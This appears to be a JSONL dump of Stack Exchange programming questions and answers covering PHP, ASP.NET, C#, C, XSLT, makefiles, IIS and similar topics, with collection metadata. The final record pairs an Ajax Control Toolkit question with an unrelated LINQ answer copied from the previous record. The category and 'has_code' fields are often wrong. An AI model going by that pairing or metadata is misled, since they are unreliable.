{"id": "hf_1d33cf57037c", "question": "<p>I'd like to have a page in php that normally displays information based on the GET request sent to it. However, I'd like for it to also be able to process certain POST requests. So, how can I tell if any data was sent by POST so I can act on it?</p>\n", "question_body": "", "answer": "Use\n```\n$_SERVER['REQUEST_METHOD']\n```\nto determine whether your page was accessed via a GET or POST request.\nIf it was accessed via post then check for any variables in\n```\n$_POST\n```\nto process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.531072"}
{"id": "hf_c413313b7a90", "question": "<p>We have a CustomAction that sets some registry key HKEY LOCAL_MACHINE. This wasn't working on Vista with UAC, until we made the action \"deferred\". The installer worked in other cases. Anyone knows why?</p>\n\n<p>We are using WIX to create the installer.</p>\n", "question_body": "", "answer": "Your custom action was being run immediately when it was encountered in the InstallExecuteSequence; instead of when the actual install script was being executed.  This caused your custom action to be executed with the users permissions rather than with the system's elevated permissions.  This series of blog posts will explain in detail what is happening,\nhttp://blogs.msdn.com/rflaming/archive/2006/09/23/768146.aspx\n.  You shouldn't have custom actions that effect the state of the machine that do not run as deferred custom actions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.566154"}
{"id": "hf_a610652ec509", "question": "<p>If it said \"oneword\", then I could write \"#oneword\", but what do I write when there is a space in the word?</p>\n", "question_body": "", "answer": "You can't have multiple words for the id, but you can for class.\n```\n```\n<p class=\"one two\">lalala</p>\n\n.one {\n    color: black;\n}\n\n.two {\n    font-weight: bold;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.589770"}
{"id": "hf_cb23472b2ca9", "question": "<p>I have two XML files with two different XSD schemas and different namespaces. They have both an identical substructure. And now i need to copy that node (and all childs) from one XML document to the other one. </p>\n\n<p>Clone would do, if the namespaces were the same. Is there a nice way to do it? \n(The substructure will change later on - but will be kept identical.)</p>\n", "question_body": "", "answer": "Basically, you need an XSL transformation that creates new elements with equal names, but a different namespace.\nConsider the following input XML:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<test xmlns=\"http://tempuri.org/ns_old\">\n    <child attrib=\"value\">text</child>\n</test>\n```\n```\nNow you need a template that says \"copy structure and name of everything you see, but declare a new namespace while you're at it\":\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xsl:stylesheet\n  version=\"1.0\"\n  xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n  xmlns:old=\"http://tempuri.org/ns_old\"\n>\n  <xsl:output method=\"xml\" version=\"1.0\" \n    encoding=\"UTF-8\" indent=\"yes\" omit-xml-declaration=\"no\" \n  />\n\n  <xsl:template match=\"node()|@*\">\n    <xsl:copy>\n      <xsl:apply-templates select=\"node()|@*\"/>\n    </xsl:copy>\n  </xsl:template>\n\n  <xsl:template match=\"old:*\">\n    <xsl:element name=\"{local-name()}\" namespace=\"http://tempuri.org/ns_new\">\n      <xsl:apply-templates select=\"node()|@*\"/>\n    </xsl:element>\n  </xsl:template>\n\n</xsl:stylesheet>\n```\n```\nWhen you run the above XML through it, this produces:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<test xmlns=\"http://tempuri.org/ns_new\">\n  <child attrib=\"value\">text</child>\n</test>\n```\n```\nAll your\n```\nhttp://tempuri.org/ns_old\n```\nelements have effectively changed their namespace. When your input XML has more than one namespace at the same time, the XSL must most likely be extended a bit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.612819"}
{"id": "hf_5436c1cb6c32", "question": "<p>What is the equivalent to web controls in frameworks other than ASP.Net?</p>\n\n<p>Specifically I'd like to know about Java, PHP and Ruby on Rails.</p>\n\n<p>What are the relative merits/faults of each of these frameworks for web development?</p>\n\n<p>I've had some exposure to ASP.Net and have been asked to look into developing an app that will have configurable controls on it. I know how I'd do this in ASP.Net, but it's to run on a linux box and in my experience Mono is not mature/stable when running ASP.Net.</p>\n\n<p><strong>Clarification</strong></p>\n\n<p>Basicly what I mean by webcontrols is a set of reusable componenet that I can initialize with various values.</p>\n\n<p>So if for example I want to have a reusable component which draws a graph of some kind on the page. and i want to lay out several of these to graph different things.</p>\n", "question_body": "", "answer": "I believe there aren't.\nASP.NET Web controls are a hodgepodge of\n```\n<input>\n```\nand\n```\n<submit>\n```\nHTML elements put together to make use of the ASP.NET Web Forms Page Lifecycle. This in turn to facilitate windows-forms like behavior in a web application.\nAFAIK in other frameworks they still make use of the plain HTML control elements coupled with Javascript to modify behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.635220"}
{"id": "hf_5f88ad413004", "question": "<p>The <code>java.net.InetAddress.GetByName(String host)</code> method can only return <code>A</code> records so to lookup other record types I need to be able to send DNS queries using the <code>dnsjava</code> library.</p>\n\n<p>However that normally relies on being able to parse <code>/etc/resolv.conf</code> or similar to find the DNS server addresses and that doesn't work on Android.</p>\n\n<p>The current DNS settings on Android can apparently only be obtained from within a shell by using the <code>getprop</code> command.</p>\n\n<p>Can anyone tell me how to get those settings from Java other than by spawning a shell with <code>Runtime.exec()</code> and parsing the output from <code>getprop</code>?</p>\n", "question_body": "", "answer": "I don't think it's possible for general case. For WiFi I found this:\n```\n```\nWiFiManager wifi = (WifiManager) getSystemService(WIFI_SERVICE); \nDhcpInfo info = wifi.getDhcpInfo();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.655513"}
{"id": "hf_e79e119bf9d3", "question": "<pre><code>&lt;a id=\"lblShowTimings\"\n     runat=\"server\"\n     title='&lt;%# Eval(\"SHOW_Name\") %&gt;'\n     onclick='PopulateTicketDiv(&lt;%#Eval(\"SHOW_ID\") %&gt;)'&gt;  &lt;-- this is the problem\n  %#Eval(\"SHOW_Time\") %&gt;\n&lt;/a&gt;\n</code></pre>\n\n<p>Can Eval be passed as an argument to a javascript function?\nIf so whats the syntax?</p>\n", "question_body": "", "answer": "Yes.  What you want to do is this, though:\n```\n```\nonclick='<%# \"PopulateTicketDiv(\" +Eval(\"SHOW_ID\") + \" );\" %>'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.677506"}
{"id": "hf_059226efb7b5", "question": "<p>How can I restart(recycle) IIS Application Pool from C# (.net 2)?</p>\n\n<p>Appreciate if you post sample code?</p>\n", "question_body": "", "answer": "If you're on\nIIS7\nthen this will do it if it is stopped.  I assume you can adjust for restarting without having to be shown.\n```\n```\n// Gets the application pool collection from the server.\n[ModuleServiceMethod(PassThrough = true)]\npublic ArrayList GetApplicationPoolCollection()\n{\n    // Use an ArrayList to transfer objects to the client.\n    ArrayList arrayOfApplicationBags = new ArrayList();\n\n    ServerManager serverManager = new ServerManager();\n    ApplicationPoolCollection applicationPoolCollection = serverManager.ApplicationPools;\n    foreach (ApplicationPool applicationPool in applicationPoolCollection)\n    {\n        PropertyBag applicationPoolBag = new PropertyBag();\n        applicationPoolBag[ServerManagerDemoGlobals.ApplicationPoolArray] = applicationPool;\n        arrayOfApplicationBags.Add(applicationPoolBag);\n        // If the applicationPool is stopped, restart it.\n        if (applicationPool.State == ObjectState.Stopped)\n        {\n            applicationPool.Start();\n        }\n\n    }\n\n    // CommitChanges to persist the changes to the ApplicationHost.config.\n    serverManager.CommitChanges();\n    return arrayOfApplicationBags;\n}\n```\n```\nIf you're on\nIIS6\nI'm not so sure, but you could try getting the web.config and editing the modified date or something.  Once an edit is made to the web.config then the application will restart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.700059"}
{"id": "hf_9720f6e688e2", "question": "<p>We'd like to start our bug numbers to something other than 1 for a new Bugzilla installation.  Is there a way to do this?</p>\n", "question_body": "", "answer": "I'm not sure about Bugzilla's backend, but if it uses a SQL database, you should be able to find the table that controls the bug ID number and set the autoincrement value to something else. That is, if Bugzilla uses autoincrement.\nBut I don't have a copy of Bugzilla to provide more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.812335"}
{"id": "hf_093e53bdc00a", "question": "<p>Can someone define what exactly 'POCO' means? I am encountering the term more and more often, and I'm wondering if it is only about plain classes or it means something more?</p>\n", "question_body": "", "answer": "\"Plain Old C# Object\"\nJust a normal class, no attributes describing infrastructure concerns or other responsibilities that your domain objects shouldn't have.\nEDIT - as other answers have stated, it is technically \"Plain Old CLR Object\" but I, like David Arno comments, prefer \"Plain Old Class Object\" to avoid ties to specific languages or technologies.\nTO CLARIFY:  In other words, they don’t derive from \nsome special base class, nor do they return any special types for their properties.\nSee below for an example of each.\nExample of a POCO:\n```\n```\npublic class Person\n{\n    public string Name { get; set; }\n\n    public int Age { get; set; }\n}\n```\n```\nExample of something that isn’t a POCO:\n```\n```\npublic class PersonComponent : System.ComponentModel.Component\n{\n    [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]\n    public string Name { get; set; }\n\n    public int Age { get; set; }\n}\n```\n```\nThe example above both inherits from a special class to give it additional behavior as well as uses a custom attribute to change behavior… the same properties exist on both classes, but one is\nnot\njust a plain old object anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.897098"}
{"id": "hf_556fb71bcb8b", "question": "<p>I'd like to warn users when they <strong>try to close a browser window</strong> if they <strong>didn't save</strong> the changes they made in the web form.</p>\n\n<p>I'm using ASP.NET 3.5 (with ASP.NET Ajax).</p>\n\n<p>Is there a common solution which I could easily implement?</p>\n\n<p><em>EDIT: maybe my question wasn't clear:</em> I am specifically looking for a way which integrates gracefully in the <strong>ASP.NET</strong> Server Controls methodology.</p>\n", "question_body": "", "answer": "On the Page_Unload event (or call this function in your body tag,\n```\n<body onunload=\"onPageUnload();\">\n```\n), you can have a check if the form has data in it.  Then you could run some Java:\n```\n```\n<script language=\"text/javascript\">\n   function onPageUnload() {\n        var oConfirm = window.confirm(\"You have unsaved form data, are you sure you want to close this window?\");\n        if(oConfirm){\n            //Close\n        }else{\n            //Dont \n        }\n    }\n</script>\n```\n```\nSee how that works out for ya\nEDIT:  It may not prevent the closing of the window, but it will alert your user that they have unsaved data in your form.\nConfirmed does NOT work cross-browser, I will investigate a different method and post it up here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:41.995557"}
{"id": "hf_d8cabefafb02", "question": "<p>I have been using Flex for a while and have not used remoting as of yet. Currently my apps use a webservice that generates xml that I use for databinding. </p>\n\n<p>What would be the benefit to using remoting over an xml webservice in this use case? Is there a general guideline when I should choose remoting over webservices? </p>\n\n<p>Why would I want to use remoting?</p>\n\n<p>I have downloaded <a href=\"http://www.fluorinefx.com/\" rel=\"noreferrer\">http://www.fluorinefx.com/</a>, but have yet to do any real tinkering...</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Speaking personally I use remoting because I prefer AMF to SOAP/XML for the simple reason of speed and packet size.\nTed has a good discussion in the relative merits of XML vs. AMF\nhere\nSomething to consider is what you have already in place on the server and where you think the future of your clients lies.  Do you anticipate replacing or extending your clients?  If yes then Web Services are a good architectural choice.  If you are committing to Flex in the short/medium term then you may be able to squeeze better performance out of remoting with AMF3 vs. your web services.\nP.S. I once had a link to a very good site which had measurements of the relative performance of AMF and SOAP - I'll see if I can find it and post a link.\nP.P.S.\nhere it is\n, but it seems not to be working at the moment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.019151"}
{"id": "hf_ef3312cb4ea2", "question": "<p>I have a makefile template to compile a single DLL (for a plugin system).\nThe makefile of the user looks like this:</p>\n\n<pre><code>EXTRA_SRCS=file1 file2\ninclude makefile.in\n</code></pre>\n\n<p>In the <code>makefile.in</code> I have:</p>\n\n<pre><code>plugin.dll: plugin.os $(patsubst %,%.os,$(EXTRA_SRCS))\n</code></pre>\n\n<p>Where <code>plugin.os</code> is the main C++ file to be compiled. Btw, the files ending is <code>.os</code> are the object files compiled for shared library (i.e. using the <code>-fpic</code> option with <code>gcc</code>)</p>\n\n<p>Now, the problem is that the extra sources will probably (but not necessarily) be header files. Ideally I would like to add them as dependencies for the target <code>plugin.os</code> and the <code>file.cpp</code>, but only if they exist.</p>\n\n<p>The method should work for both windows and linux, or at least be adaptable to each. However, I only use the GNU version of make.</p>\n", "question_body": "", "answer": "Use the \"wildcard\" function:\n```\n```\n$(wildcard *.h)\n```\n```\nEDIT: in order to match a specific list, do\n```\n```\n$(wildcard $(HEADER_FILES))\n```\n```\nThere is no need to use $(filter ...), the wildcard function automatically filters files which don't exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.087409"}
{"id": "hf_66578c5d5270", "question": "<p>I'm trying to code opposite action to this:</p>\n\n<pre><code>std::ostream outs; // properly initialized of course\nstd::set&lt;int&gt; my_set; // ditto\n\nouts &lt;&lt; my_set.size();\nstd::copy( my_set.begin(), my_set.end(), std::ostream_iterator&lt;int&gt;( outs ) );\n</code></pre>\n\n<p>it should be something like this:</p>\n\n<pre><code>std::istream ins;\n\nstd::set&lt;int&gt;::size_type size;\nins &gt;&gt; size;\n\nstd::copy( std::istream_iterator&lt;int&gt;( ins ), std::istream_iterator&lt;int&gt;( ins ) ???, std::inserter( my_set, my_set.end() ) );\n</code></pre>\n\n<p>But I'm stuck with the 'end' iterator -- input interators can't use std::advance and neither I can use two streams with the same source...</p>\n\n<p>Is there any elegant way how to solve this? Of course I can use for loop, but maybe there's something nicer :)</p>\n", "question_body": "", "answer": "(Edited: I should have read the question closer...)\nWhile somewhat suspect, you can get approximately the right behavior by having an entry in the file that will \"fail\" the first loop, then clear the fail bit on the stream and start reading more.\nData, without an explicit size, but like this\n```\n1 1 2 3 5 8 Fibb\n```\nFed to the code below seems to do what I meant, at least on VS2005 with STLPort.\n```\ntypedef std::istream_iterator < int, char, std::char_traits ,ptrdiff_t> is_iter;\nstd::copy( is_iter(cin), is_iter(), inserter(my_set,my_set.end()));\ncin.clear();\nstd::cin >> instr;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.111117"}
{"id": "hf_ca9b7e16b7e1", "question": "<p>What is the difference between <code>int *a[3]</code> and <code>int (*a)[3]</code>?</p>\n", "question_body": "", "answer": "There is no difference between\n```\nint a[3]\n```\nand\n```\nint (a)[3]\n```\n, they both declare\n```\na\n```\nas an array of 3\n```\nint\n```\ns.  There is a difference between\n```\nint *a[3]\n```\nand\n```\nint (*a)[3]\n```\n, the former declares an array of 3 pointers to\n```\nint\n```\nwhereas the second declares a pointer to an array of 3\n```\nint\n```\ns.  The parenthesis make a difference here because in C brackets have a higher precedence than *.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.171111"}
{"id": "hf_e887b44fe129", "question": "<p>I have the following legacy code:</p>\n\n<pre><code>public class MyLegacyClass\n{\n    private static final String jndiName = \"java:comp/env/jdbc/LegacyDataSource\"\n\n    public static SomeLegacyClass doSomeLegacyStuff(SomeOtherLegacyClass legacyObj)\n    {\n       // do stuff using jndiName\n    }\n}\n</code></pre>\n\n<p>This class is working in a J2EE-Container.</p>\n\n<p>Now I would like to test the class outside of the container.</p>\n\n<p>What is the best strategy?\nRefactoring is basically allowed.</p>\n\n<p>Accessing the LegacyDataSource is allowed (the test does not have to be a \"pure\" unit-test).</p>\n\n<p>EDIT: Introducing additional runtime-frameworks is not allowed.</p>\n", "question_body": "", "answer": "Refactor the code to use dependency injection.  Then use you preferred DI framework (Spring, Guice, ...) to inject your resources.  That will make it easy to switch between resource objects and strategies at runtime.\nIn this case, you can inject your datasource.\nEDIT: Based on your new restriction, you can accomplish the same thing by using a strategy pattern to set your datasource at runtime.  You can probably just use a properties file to distinguish which strategy to create and supply the datasource.  This would require no new framework, you would just be hand coding the same basic functionality.  We used this exact idea with a ServiceLocator to supply a mock datasource when testing outside of the Java EE container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.209961"}
{"id": "hf_373d307f10ce", "question": "<p>When you have a complex property, should you instantiate it or leave it to the user to instantiate it?</p>\n\n<p>For example (C#)</p>\n\n<p>A)</p>\n\n<pre><code> class Xyz{\n     List&lt;String&gt; Names {get; set;}\n }\n</code></pre>\n\n<p>When I try to use, I have to set it.</p>\n\n<pre><code>...\nXyz xyz = new Xyz();\nxyz.Name = new List&lt;String&gt;();\nxyz.Name.Add(\"foo\");\n...\n</code></pre>\n\n<p>Where as if I modify the code</p>\n\n<p>B)</p>\n\n<pre><code> class Xyz{\n     public Xyz(){\n         Names = new List&lt;String&gt;();\n     }\n     List&lt;String&gt; Names {get; }\n }\n</code></pre>\n\n<p>which in this case, I can make the List read-only.</p>\n\n<p>Another scenario might arise, I suppose where you would intentionally not want to set it. For example in</p>\n\n<p>C)</p>\n\n<pre><code> class Xyz{\n     String Name {get; set;}\n }\n</code></pre>\n\n<p>I would thing it bad practice to initialize.</p>\n\n<p>Are there some rules of thumb for such scenarios?</p>\n", "question_body": "", "answer": "This is my normal solution:\n```\n```\nclass XYZ \n{\n   public XYZ () { Names = new List<string>(); }\n   public List<string> Names { get; private set; }\n}\n```\n```\n(Note that it doesn't work with XmlSerialization, as you need getters and setters on all XmlSerialized properties.) (You can override this, but it seems like too much work for little effort).\nAs\nOregonGhost\npointed out - you need to add\n```\n[XmlArray]\n```\nfor this to work with XmlSerialization.\nThis still breaks the rules of encapsulation, as if you wanted to be entirely correct, you would have:\n```\n```\nclass XYZ \n{\n   public XYZ () { AllNames = new List<string>(); }\n   private List<string> AllNames { get; set; }\n   public void AddName ( string name ) { AllNames.Add(name); }\n   public IEnumerable<string> Names { get { return AllNames.AsReadOnly(); } }\n}\n```\n```\nAs this goes against the design of almost all the rest of the .Net framework, I usually end up using the first solution.\nHowever, this does have the added benefit that XYZ can track the changes to it's collection of names, and that XYZ is the only place where the collection of names can be modified.\nI have implemented this for a few cases, but it causes too much friction with other programmers when I do it for everything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.251015"}
{"id": "hf_b7e45e1eb9a7", "question": "<p>I have a menu of product brands that I want to split over 4 columns.  So if I have 39 brands, then I want the maximum item count for each column to be 10 (with a single gap in the last column.  Here's how I'm calculating the item count for a column (using C#):</p>\n\n<pre><code>int ItemCount = Convert.ToInt32(Math.Ceiling(Convert.ToDecimal(BrandCount) / 4m));\n</code></pre>\n\n<p>All that conversion seems really ugly to me.  Is there a better way to do math on integers in C#?</p>\n", "question_body": "", "answer": "A longer alternative with Mod.\n```\n```\nItemCount = BrandCount / 4;\nif (BrandCount%4 > 0) ItemCount++;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.317073"}
{"id": "hf_7fb635c332f4", "question": "<p>How to host the WCF service in windows service?</p>\n\n<p>Thanks\nSekar</p>\n", "question_body": "", "answer": "I just saw this today come across Channel 9:\nhttp://channel9.msdn.com/shows/Endpoint/endpointtv-Screencast-Hosting-WCF-Services-in-Windows-Services/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.352041"}
{"id": "hf_b43122a7a5a9", "question": "<p>I have a simple application with the following code:</p>\n\n<pre><code>   FileInfo[] files = (new DirectoryInfo(initialDirectory)).GetFiles();\n   List&lt;Thread&gt; threads = new List&lt;Thread&gt;(files.Length);\n\n   foreach (FileInfo f in files)\n   {\n       Thread t = new Thread(delegate()\n       {\n            Console.WriteLine(f.FullName);\n       });\n       threads.Add(t);\n   }\n\n   foreach (Thread t in threads)\n       t.Start();\n</code></pre>\n\n<p>Lets say in 'I=initialDirectory' directory I have 3 files.  This application should then create 3 threads, with each thread printing off one of the file names; however, instead each thread will print off the name of the last file in the 'files' array.</p>\n\n<p>Why is this?  Why is the current file 'f' variable not getting setup in the anonymous method correctly?</p>\n", "question_body": "", "answer": "The anonymous method keeps a\nreference\nto the variable in the enclosing block -- not the actual value of the variable.\nBy the time the methods are actually executed (when you start the threads)\n```\nf\n```\nhas been assigned to point to the last value in the collection, so all 3 threads print that last value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.459206"}
{"id": "hf_c76e8354f1cc", "question": "<p>How can I get the start and end positions of all matches using the <code>re</code> module? For example given the pattern <code>r'[a-z]'</code> and the string <code>'a1b2c3d4'</code> I'd want to get the positions where it finds each letter. Ideally, I'd like to get the text of the match back too.</p>\n", "question_body": "", "answer": "```\n```\nimport re\np = re.compile(\"[a-z]\")\nfor m in p.finditer('a1b2c3d4'):\n    print(m.start(), m.group())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.506014"}
{"id": "hf_9e8be7242e92", "question": "<p>Is it better to write many small methods (or functions), or to simply write the logic/code of those small processes right into the place where you would have called the small method?  What about breaking off code into a small function even if for the time being it is only called from one spot?</p>\n\n<p>If one's choice depends on some criteria, what are they; how should a programmer make a good judgement call?</p>\n\n<p>I'm hoping the answer can be applied generally across many languages, but if necessary, answers given can be specific to a language or languages.  In particular, I'm thinking of SQL (functions, rules and stored procedures), Perl, PHP, Javascript and Ruby.</p>\n", "question_body": "", "answer": "I always break long methods up into logical chunks and try to make smaller methods out of them.  I don't\nnormally\nturn a few lines into a separate method until I need it in two different places, but sometimes I do just to help readability, or if I want to test it in isolation.\nFowler's\nRefactoring\nis all about this topic, and I highly recommend it.\nHere's a handy rule of thumb that I use from Refactoring.  If a section of code has a comment that I could re-word into a method name, pull it out and make it a method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.541714"}
{"id": "hf_5abc3e292d69", "question": "<p>A VBScript cannot edit the registry by default on Vista.  How do I get elevation (even if the user has to do something when they run the script) so that the script can edit the registry?</p>\n\n<p>The error is:</p>\n\n<pre><code>---------------------------\nWindows Script Host\n---------------------------\nScript: blah blah blah.vbs\nLine:   6\nChar:   1\nError:  Permission denied\nCode:   800A0046\nSource:     Microsoft VBScript runtime error\n\n---------------------------\nOK   \n---------------------------\n</code></pre>\n", "question_body": "", "answer": "To make it work with native VBScript, you will most likely need a code signing certificate and sign your script with that. More info is in that thread at\ntek-tips.com\n.\nYou could try to write the intended changes to a .reg file and call\n```\nregedit.exe\n```\nwith that. Maybe this triggers UAC. Did not tried that, though. I have no Vista around right now. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.589135"}
{"id": "hf_4717f7f3f7d8", "question": "<p>I'm building a auto updater and I need to know what kind of upload speeds people get on a 56K modem?</p>\n", "question_body": "", "answer": "Theoretically 33.6 kbit/s upload = 4.2 kB/s[1].\nFrom own experience, I would say half of that :)\n[1]\nhttp://en.wikipedia.org/wiki/ITU-T_V-Series_Recommendations#Simultaneous_transmission_of_data_and_other_signals", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.624847"}
{"id": "hf_796675ff3327", "question": "<p>How to optimize queries which are already written?</p>\n", "question_body": "", "answer": "If you can not change the them:\nIndexes and statistics.\nSo you don't optimize the query but their execution plan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.671646"}
{"id": "hf_cbfe6fab054e", "question": "<p>We are ready to start a brand new project at work, no legacy code. We did use Subsonic in the past and we pretty happy with it. But that was before Linq.</p>\n\n<p>Has anyone had to face this same issue (Linq x Subsonic)? </p>\n\n<p>What was your decision? What were the reasons?</p>\n\n<p>Any insight appreciated.</p>\n", "question_body": "", "answer": "The one thing I love about LINQ, which I don't think SubSonic handles as gracefully, is automatically dealing with joins.\n```\n```\nFROM a in db.Orders\nwhere a.Total > 100\nSELECT new {a.Item.Desc, a.Customer.Name};\n```\n```\nwill automatically generate SQL like thisL\n```\n```\nselect i.DESC, c.NAME \nfrom  ORDERS o  \ninner join ITEMS on o.ItemID = i.ItemID \ninner join CUSTOMERS c on o.CustomerID = c.CUSTOMERID \nwhere o.TOTAL > 100\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.706882"}
{"id": "hf_737609b20357", "question": "<p>With the Ajax Control Toolkit, one can easily drag and drop all types of great extender onto controls, but they register a boatload of JavaScript to do it. </p>\n\n<ol>\n<li>How do I control this?  </li>\n<li>If the <code>ScriptManager</code> is in the <code>MasterPage</code>, is there anyway to control the loading of a script on one page that isn't in another?</li>\n</ol>\n\n<p>For example: calendar extender is on one page, but the script for it gets loaded on every page that is a child of the master page.</p>\n", "question_body": "", "answer": "The one thing I love about LINQ, which I don't think SubSonic handles as gracefully, is automatically dealing with joins.\n```\n```\nFROM a in db.Orders\nwhere a.Total > 100\nSELECT new {a.Item.Desc, a.Customer.Name};\n```\n```\nwill automatically generate SQL like thisL\n```\n```\nselect i.DESC, c.NAME \nfrom  ORDERS o  \ninner join ITEMS on o.ItemID = i.ItemID \ninner join CUSTOMERS c on o.CustomerID = c.CUSTOMERID \nwhere o.TOTAL > 100\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:42.730547"}
